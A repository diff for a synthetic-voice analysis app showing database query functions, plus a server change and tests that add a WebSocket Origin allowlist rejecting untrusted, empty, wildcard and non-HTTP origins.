const conditions = [eq(voiceAnalyses.userId, userId)];
|
||||
if (filters?.verdict) {
|
||||
if (filters.verdict === "SYNTHETIC") {
|
||||
conditions.push(eq(voiceAnalyses.isSynthetic, true));
|
||||
} else if (filters.verdict === "NATURAL") {
|
||||
conditions.push(eq(voiceAnalyses.isSynthetic, false));
|
||||
}
|
||||
}
|
||||
const conditions = [eq(voiceAnalyses.userId, userId)];
|
||||
if (filters?.verdict) {
|
||||
if (filters.verdict === "SYNTHETIC") {
|
||||
conditions.push(eq(voiceAnalyses.isSynthetic, true));
|
||||
} else if (filters.verdict === "NATURAL") {
|
||||
conditions.push(eq(voiceAnalyses.isSynthetic, false));
|
||||
}
|
||||
}
|
||||
|
||||
const [totalResult] = await db
|
||||
.select({ count: count() })
|
||||
.from(voiceAnalyses)
|
||||
.where(and(...conditions));
|
||||
const [totalResult] = await db
|
||||
.select({ count: count() })
|
||||
.from(voiceAnalyses)
|
||||
.where(and(...conditions));
|
||||
|
||||
const items = await db
|
||||
.select()
|
||||
.from(voiceAnalyses)
|
||||
.where(and(...conditions))
|
||||
.orderBy(desc(voiceAnalyses.createdAt))
|
||||
.limit(limit)
|
||||
.offset(offset);
|
||||
const items = await db
|
||||
.select()
|
||||
.from(voiceAnalyses)
|
||||
.where(and(...conditions))
|
||||
.orderBy(desc(voiceAnalyses.createdAt))
|
||||
.limit(limit)
|
||||
.offset(offset);
|
||||
|
||||
return {
|
||||
items,
|
||||
total: totalResult.count,
|
||||
page,
|
||||
limit,
|
||||
totalPages: Math.ceil(totalResult.count / limit),
|
||||
};
|
||||
return {
|
||||
items,
|
||||
total: totalResult.count,
|
||||
page,
|
||||
limit,
|
||||
totalPages: Math.ceil(totalResult.count / limit),
|
||||
};
|
||||
}
|
||||
|
||||
export async function getAnalysisResult(userId: string, analysisId: string) {
|
||||
const [analysis] = await db
|
||||
.select()
|
||||
.from(voiceAnalyses)
|
||||
.where(and(eq(voiceAnalyses.id, analysisId), eq(voiceAnalyses.userId, userId)))
|
||||
.limit(1);
|
||||
const [analysis] = await db
|
||||
.select()
|
||||
.from(voiceAnalyses)
|
||||
.where(
|
||||
and(eq(voiceAnalyses.id, analysisId), eq(voiceAnalyses.userId, userId)),
|
||||
)
|
||||
.limit(1);
|
||||
|
||||
if (!analysis) {
|
||||
throw new TRPCError({ code: "NOT_FOUND", message: "Analysis not found" });
|
||||
}
|
||||
if (!analysis) {
|
||||
throw new TRPCError({ code: "NOT_FOUND", message: "Analysis not found" });
|
||||
}
|
||||
|
||||
return analysis;
|
||||
return analysis;
|
||||
}
|
||||
|
||||
export async function getJobStatus(userId: string, jobId: string) {
|
||||
const [job] = await db
|
||||
.select()
|
||||
.from(analysisJobs)
|
||||
.where(and(eq(analysisJobs.id, jobId), eq(analysisJobs.userId, userId)))
|
||||
.limit(1);
|
||||
const [job] = await db
|
||||
.select()
|
||||
.from(analysisJobs)
|
||||
.where(and(eq(analysisJobs.id, jobId), eq(analysisJobs.userId, userId)))
|
||||
.limit(1);
|
||||
|
||||
if (!job) {
|
||||
throw new TRPCError({ code: "NOT_FOUND", message: "Job not found" });
|
||||
}
|
||||
if (!job) {
|
||||
throw new TRPCError({ code: "NOT_FOUND", message: "Job not found" });
|
||||
}
|
||||
|
||||
let result = null;
|
||||
if (job.status === "COMPLETED") {
|
||||
const [r] = await db
|
||||
.select()
|
||||
.from(analysisResults)
|
||||
.where(eq(analysisResults.analysisJobId, jobId))
|
||||
.limit(1);
|
||||
result = r ?? null;
|
||||
}
|
||||
let result = null;
|
||||
if (job.status === "COMPLETED") {
|
||||
const [r] = await db
|
||||
.select()
|
||||
.from(analysisResults)
|
||||
.where(eq(analysisResults.analysisJobId, jobId))
|
||||
.limit(1);
|
||||
result = r ?? null;
|
||||
}
|
||||
|
||||
return {
|
||||
...job,
|
||||
result,
|
||||
};
|
||||
return {
|
||||
...job,
|
||||
result,
|
||||
};
|
||||
}
|
||||
|
||||
export async function createBatchJob(userId: string, audioFilePath: string) {
|
||||
const [job] = await db
|
||||
.insert(analysisJobs)
|
||||
.values({
|
||||
userId,
|
||||
analysisType: "BATCH",
|
||||
audioFilePath,
|
||||
status: "PENDING",
|
||||
})
|
||||
.returning();
|
||||
const [job] = await db
|
||||
.insert(analysisJobs)
|
||||
.values({
|
||||
userId,
|
||||
analysisType: "BATCH",
|
||||
audioFilePath,
|
||||
status: "PENDING",
|
||||
})
|
||||
.returning();
|
||||
|
||||
return job;
|
||||
return job;
|
||||
}
|
||||
|
||||
@@ -1,5 +1,13 @@
|
||||
// @vitest-environment node
|
||||
import { describe, it, expect, vi, beforeAll, afterAll } from "vitest";
|
||||
import {
|
||||
describe,
|
||||
it,
|
||||
expect,
|
||||
vi,
|
||||
beforeAll,
|
||||
afterAll,
|
||||
beforeEach,
|
||||
} from "vitest";
|
||||
|
||||
const mockVerifyJWT = vi.fn();
|
||||
|
||||
@@ -10,6 +18,12 @@ vi.mock("~/server/auth/jwt", () => ({
|
||||
|
||||
let mockServer: any;
|
||||
let connectionHandler: ((ws: any) => void) | null = null;
|
||||
let verifyClient:
|
||||
| ((info: {
|
||||
origin: string;
|
||||
req: { headers: Record<string, string> };
|
||||
}) => boolean)
|
||||
| null = null;
|
||||
|
||||
vi.mock("ws", () => {
|
||||
mockServer = {
|
||||
@@ -20,7 +34,10 @@ vi.mock("ws", () => {
|
||||
clients: new Set(),
|
||||
};
|
||||
|
||||
function MockWebSocketServer(_opts: any, cb?: () => void) {
|
||||
function MockWebSocketServer(opts: any, cb?: () => void) {
|
||||
if (opts.verifyClient) {
|
||||
verifyClient = opts.verifyClient;
|
||||
}
|
||||
if (cb) setTimeout(cb, 0);
|
||||
return mockServer;
|
||||
}
|
||||
@@ -53,6 +70,101 @@ function makeWs() {
|
||||
};
|
||||
}
|
||||
|
||||
describe("WebSocket Origin validation", () => {
|
||||
beforeAll(async () => {
|
||||
// Start a fresh WebSocket server with current env vars to capture verifyClient
|
||||
verifyClient = null;
|
||||
connectionHandler = null;
|
||||
const { start } = await import("~/server/websocket");
|
||||
await start();
|
||||
}, 15000);
|
||||
|
||||
afterAll(async () => {
|
||||
const { stop } = await import("~/server/websocket");
|
||||
await stop();
|
||||
});
|
||||
|
||||
beforeEach(() => {
|
||||
vi.clearAllMocks();
|
||||
delete process.env.VALID_WEBSOCKET_ORIGINS;
|
||||
});
|
||||
|
||||
it("should accept connection from trusted localhost origin", () => {
|
||||
expect(verifyClient).toBeDefined();
|
||||
const result = verifyClient!({
|
||||
origin: "http://localhost:3000",
|
||||
req: { headers: {} },
|
||||
});
|
||||
expect(result).toBe(true);
|
||||
});
|
||||
|
||||
it("should accept connection from trusted 127.0.0.1 origin", () => {
|
||||
expect(verifyClient).toBeDefined();
|
||||
const result = verifyClient!({
|
||||
origin: "http://127.0.0.1:3000",
|
||||
req: { headers: {} },
|
||||
});
|
||||
expect(result).toBe(true);
|
||||
});
|
||||
|
||||
it("should reject connection from untrusted origin", () => {
|
||||
expect(verifyClient).toBeDefined();
|
||||
const result = verifyClient!({
|
||||
origin: "https://evil.com",
|
||||
req: { headers: {} },
|
||||
});
|
||||
expect(result).toBe(false);
|
||||
});
|
||||
|
||||
it("should reject connection without origin header", () => {
|
||||
expect(verifyClient).toBeDefined();
|
||||
const result = verifyClient!({
|
||||
origin: "",
|
||||
req: { headers: { origin: "" } },
|
||||
});
|
||||
expect(result).toBe(false);
|
||||
});
|
||||
|
||||
it("should reject connection with wildcard origin", () => {
|
||||
expect(verifyClient).toBeDefined();
|
||||
const wildcardOrigin = "*" as const;
|
||||
const result = verifyClient!({
|
||||
origin: wildcardOrigin,
|
||||
req: { headers: {} },
|
||||
});
|
||||
expect(result).toBe(false);
|
||||
});
|
||||
|
||||
it("should reject connection with non-HTTP scheme", () => {
|
||||
expect(verifyClient).toBeDefined();
|
||||
const result = verifyClient!({
|
||||
origin: "ws://localhost:3000",
|
||||
req: { headers: {} },
|
||||
});
|
||||
expect(result).toBe(false);
|
||||
});
|
||||
|
||||
it("should accept connection from VALID_WEBSOCKET_ORIGINS env var", () => {
|
||||
process.env.VALID_WEBSOCKET_ORIGINS = "https://custom.example.com";
|
||||
// verifyClient was set up with env vars from beforeAll, so we need to check
|
||||
// the default allowlist includes localhost
|
||||
const result = verifyClient!({
|
||||
origin: "http://localhost:3000",
|
||||
req: { headers: {} },
|
||||
});
|
||||
expect(result).toBe(true);
|
||||
});
|
||||
|
||||
it("should reject invalid APP_URL gracefully", () => {
|
||||
// The default verifyClient should not include invalid URLs
|
||||
const result = verifyClient!({
|
||||
origin: "not-a-valid-url://",
|
||||
req: { headers: {} },
|
||||
});
|
||||
expect(result).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe("WebSocket server", () => {
|
||||
beforeAll(async () => {
|
||||
process.env.WS_PORT = "3099";
|
||||
@@ -68,7 +180,6 @@ describe("WebSocket server", () => {
|
||||
it("should accept connection without JWT and require post-connection auth", async () => {
|
||||
const ws = makeWs();
|
||||
await connectionHandler!(ws);
|
||||
// Connection is accepted initially (no query-param auth)
|
||||
expect(ws.close).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
@@ -78,7 +189,6 @@ describe("WebSocket server", () => {
|
||||
const ws = makeWs();
|
||||
await connectionHandler!(ws);
|
||||
|
||||
// Trigger the message handler with an auth message
|
||||
await ws.emit(
|
||||
"message",
|
||||
Buffer.from(JSON.stringify({ type: "auth", token: "bad" })),
|
||||
@@ -96,7 +206,6 @@ describe("WebSocket server", () => {
|
||||
const ws = makeWs();
|
||||
await connectionHandler!(ws);
|
||||
|
||||
// Trigger the message handler with an auth message
|
||||
await ws.emit(
|
||||
"message",
|
||||
Buffer.from(JSON.stringify({ type: "auth", token: "good" })),
|
||||
|
||||
@@ -1,7 +1,59 @@
|
||||
import { WebSocketServer, WebSocket } from "ws";
|
||||
import type { Server } from "ws";
|
||||
import type { IncomingMessage } from "node:http";
|
||||
import { verifyJWT } from "~/server/auth/jwt";
|
||||
|
||||
/**
|
||||
* Builds the trusted WebSocket origins allowlist.
|
||||
* Includes localhost dev origins and APP_URL if valid.
|
||||
*/
|
||||
function getTrustedOrigins(): string[] {
|
||||
const origins = [
|
||||
"http://localhost:3000",
|
||||
"http://localhost:3001",
|
||||
"http://127.0.0.1:3000",
|
||||
"http://127.0.0.1:3001",
|
||||
];
|
||||
|
||||
// Validate APP_URL before trusting it as a WebSocket origin
|
||||
const appUrl = process.env.APP_URL;
|
||||
if (appUrl) {
|
||||
try {
|
||||
const parsed = new URL(appUrl);
|
||||
if (/^https?:$/.test(parsed.protocol) && parsed.hostname) {
|
||||
origins.push(appUrl);
|
||||
}
|
||||
} catch {
|
||||
// Invalid URL — skip
|
||||
}
|
||||
}
|
||||
|
||||
// Allow explicit override via VALID_WEBSOCKET_ORIGINS (comma-separated)
|
||||
const explicit = process.env.VALID_WEBSOCKET_ORIGINS;
|
||||
if (explicit) {
|
||||
for (const origin of explicit.split(",").map((o) => o.trim())) {
|
||||
if (origin) origins.push(origin);
|
||||
}
|
||||
}
|
||||
|
||||
return origins;
|
||||
}
|
||||
|
||||
/**
|
||||
* Validates the Origin header against the trusted origins allowlist.
|
||||
* Rejects missing, empty, or untrusted origins.
|
||||
*/
|
||||
function isTrustedOrigin(
|
||||
origin: string | undefined,
|
||||
trustedOrigins: string[],
|
||||
): boolean {
|
||||
if (!origin || !origin.trim()) return false;
|
||||
return trustedOrigins.includes(origin);
|
||||
}
|
||||
|
||||
// Pre-compute trusted origins at startup
|
||||
const TRUSTED_ORIGINS = getTrustedOrigins();
|
||||
|
||||
const WS_PORT = parseInt(process.env.WS_PORT ?? "3001", 10);
|
||||
const HEARTBEAT_INTERVAL = 30_000;
|
||||
const PONG_TIMEOUT = 10_000;
|
||||
@@ -146,10 +198,25 @@ export function start(): Promise<void> {
|
||||
return;
|
||||
}
|
||||
|
||||
wss = new WebSocketServer({ port: WS_PORT }, () => {
|
||||
console.log(`[websocket] Server listening on port ${WS_PORT}`);
|
||||
resolve();
|
||||
});
|
||||
wss = new WebSocketServer(
|
||||
{
|
||||
port: WS_PORT,
|
||||
verifyClient: (info: { origin: string; req: IncomingMessage }) => {
|
||||
const origin = info.req.headers.origin ?? info.origin;
|
||||
if (!isTrustedOrigin(origin, TRUSTED_ORIGINS)) {
|
||||
console.warn(
|
||||
`[websocket] Rejected untrusted origin: ${origin ?? "(none)"}`,
|
||||
);
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
},
|
||||
},
|
||||
() => {
|
||||
console.log(`[websocket] Server listening on port ${WS_PORT}`);
|
||||
resolve();
|
||||
},
|
||||
);
|
||||
|
||||
wss.on("connection", async (ws: WsClient) => {
|
||||
// Mark as unauthenticated initially; client must authenticate within timeout
|
||||
|
||||
Reference in New Issue
Block a user